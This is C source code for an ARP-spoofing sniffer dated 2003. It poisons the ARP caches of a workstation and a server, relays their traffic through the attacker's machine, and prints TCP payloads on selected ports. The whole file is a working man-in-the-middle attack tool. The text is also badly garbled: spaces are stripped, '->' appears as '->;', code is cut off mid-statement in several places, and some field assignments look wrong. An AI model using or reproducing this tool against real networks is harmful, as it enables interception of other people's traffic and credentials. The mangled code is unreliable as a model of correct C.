/*============================================================================
Coder:Paris-ye
Releasedon:1/9/2003
Teston:redhat9.0
Information:
Thisisaarpspoofsniffer.
W;ether_dhost,dmac,6);
memcpy(ethh->;ether_shost,smac,6);
ethh->;ether_type=htons(ETHERTYPE_ARP);
arph->;ar_hrd=htons(ARPOP_REQUEST);
arph->;ar_pro=htons(ARPHRD_IEEE802_TR);
arph->;ar_hln=6;
arph->;ar_pln=4;
arph->;ar_op=htons(ARPHRD_ETHER);
memcpy(arph->;._ar_sha,smac,6);
memcpy(arph->;__ar_sip,sip,4);
bzero(arph->;._ar_tha,6);
memcpy(arph->;__ar_tip,dip,4);
ret=libnet_write_link(
lnet,
packet,
packets
);
if(ret==-1)
{
returnFALSE;
}
returnTRUE;
}
/*SendspoofarpSAndWevery6secondinterval*/
voidarpspoof(libnet_t*lnet,structipmacaddr*ipmac)
{
while(TRUE)
{
arpsend(lnet,ipmac->;macM,ipmac->;ipS,ipmac->;macW,ipmac->;ipW);
arpsend(lnet,ipmac->;macM,ipmac->;ipW,ipmac->;macS,ipmac->;ipS);
sleep(6);
}
}
/*ForwardpacketsW--->;SorS--->;W*/
intforwarddate(libnet_t*lnet,constu_char*packet,intlen,u_char*macW,u_char*macS,u_char*macM)
{
intret=0;
constu_char*datapoint=packet;
structether_header*ethhdr;
structiphead*iph;
ethhdr=(structether_header*)datapoint;
if(ntohs(ethhdr->;ether_type)!=ETHERTYPE_IP)
returnTRUE;
if(!memcmp(ethhdr->;ether_shost,macM,6))/*iftheSourceMacisagent(M)'scomeback*/
returnTRUE;
if(memcmp(ethhdr->;ether_dhost,macM,6))/*iftheSourceMacDestinationis'tagent(M)'scomeback*/
returnTRUE;
if(!memcmp(ethhdr->;ether_shost,macW,6))/*iftheSourceMacisW's(Workstation)*/
{
memcpy(ethhdr->;ether_shost,macM,6);
memcpy(ethhdr->;ether_dhost,macS,6);
ret=libnet_write_link(
lnet,
(u_char*)datapoint,
len
);
}
if(!memcmp(ethhdr->;ether_shost,macS,6))/*iftheSourceMacisSS's(server)*/
{
memcpy(ethhdr->;ether_shost,macM,6);
memcpy(ethhdr->;ether_dhost,macW,6);
ret=libnet_write_link(
lnet,
(u_char*)datapoint,
len
);
}
returnTRUE;
}
/*printhexdatetoAscii*/
voidprintdat(u_char*packet,intlen)
{
inti=0,j=0;
u_charstr[16];
for(i=0;i;ip_hl!=5)
returnFALSE;
if(!(!memcmp(iph->;ip_dst,ipW,4)||!memcmp(iph->;ip_src,ipW,4)))
returnFALSE;
if(iph->;ip_p!=IPPROTO_TCP)
returnFALSE;
contents=htons(iph->;ip_len)-sizeof(structiphead)-sizeof(structtcphead);
content=(u_char*)(datapoint sizeof(structether_header) sizeof(structiphead) sizeof(structtcphead));
if((tcph->;th_flags&TH_PUSH))
{
for(i==0;port!=0;i )
{
printf("=====%d%d\n",port,htons(tcph->;th_dport));
if(port==htons(tcph->;th_dport)||port==htons(tcph->;th_sport))
break;
}
if(port==0)
return;
printf("Size:[%d][%d.%d.%d.%d:%d]->;[%d.%d.%d.%d:%d]\n",htons(iph->;ip_len),
iph->;ip_src[0],iph->;ip_src[1],iph->;ip_src[2],iph->;ip_src[3],htons(tcph->;th_sport),
iph->;ip_dst[0],iph->;ip_dst[1],iph->;ip_dst[2],iph->;ip_dst[3],htons(tcph->;th_dport)
);
printdat(content,contents);
}
returnTRUE;
}
/*Snifferpackets*/
intagentpacket(libnet_t*lnet,pcap_t*lpcap,structipmacaddr*ipmac,int*port)
{
constu_char*packet;
structpcap_pkthdrhdr;
while(1)
{
packet=pcap_next(lpcap,&hdr);
if(packet==NULL||hdr.len==0)
continue;
parsedate(packet,hdr.len,ipmac->;macW,ipmac->;macS,ipmac->;macM,ipmac->;ipW,ipmac->;ipS,port);
forwarddate(lnet,packet,hdr.len,ipmac->;macW,ipmac->;macS,ipmac->;macM);
}
returnTRUE;
}
/*
WheninitializeGettheSandWMacaddress
Sendarprequest
*/
intgettargetmac(libnet_t*lnet,structipmacaddr*ipmac)
{
while(1)
{
arpsend(lnet,ipmac->;macM,ipmac->;ipM,ipmac->;macW,ipmac->;ipW);
arpsend(lnet,ipmac->;macM,ipmac->;ipM,ipmac->;macS,ipmac->;ipS);
sleep(1);
}
returnTRUE;
}
/*
WheninitializeGettheSandWMacaddress
parsearpreply
*/
intgetmacaddress(char*dev,libnet_t*lnet,pcap_t*lpcap,structipmacaddr*ipmac)
{
intskfd=0;
unsignedintisgetmac=0x0;
pid_t pid=0;
structifreqifr;
constu_char*packet;
structpcap_pkthdrhdr;
structether_header*ethhdr;
structarphdr* arph;
//----------getlocalmacadrress
strcpy(ifr.ifr_name,dev);
skfd=socket(AF_INET,SOCK_DGRAM,0);
if(skfd;ether_dhost,ipmac->;macM,6))
continue;
if(ntohs(ethhdr->;ether_type)!=ETHERTYPE_ARP)
continue;
if(!memcmp(arph->;._ar_sip,ipmac->;ipW,4)&&!memcmp(arph->;__ar_tip,ipmac->;ipM,4))
{
memcpy(ipmac->;macW,arph->;._ar_sha,6);
isgetmac=0xFFFF0000|isgetmac;
}
if(!memcmp(arph->;__ar_sip,ipmac->;ipS,4)&&!memcmp(arph->;._ar_tip,ipmac->;ipM,4))
{
memcpy(ipmac->;macS,arph->;__ar_sha,6);
isgetmac=0x0000FFFF|isgetmac;
}
if(isgetmac==0xFFFFFFFF)
break;
}
kill(pid,9);
returnTRUE;
}
intmain(intargc,char*argv[])
{
int ret=0,i=0;
char *p,*s;
char c;
char string[]="I:M:W:S:P:";
int port[100];
char dev[32]="";
structipmacaddripmac;
pid_t pid;
libnet_t* lnet;
pcap_t*lpcap;
bpf_u_int32netp,maskp;
structbpf_programfp;
charerr[PCAP_ERRBUF_SIZE];
charfilterstr[]="";
unsignedintipM;
unsignedintipW;
unsignedintipS;
u_charmacW[]={255,255,255,255,255,255,255};
u_charmacS[]={255,255,255,255,255,255,255};
u_charmacM[]={255,255,255,255,255,255,255};
bzero(&ipmac,sizeof(structipmacaddr));
if(argc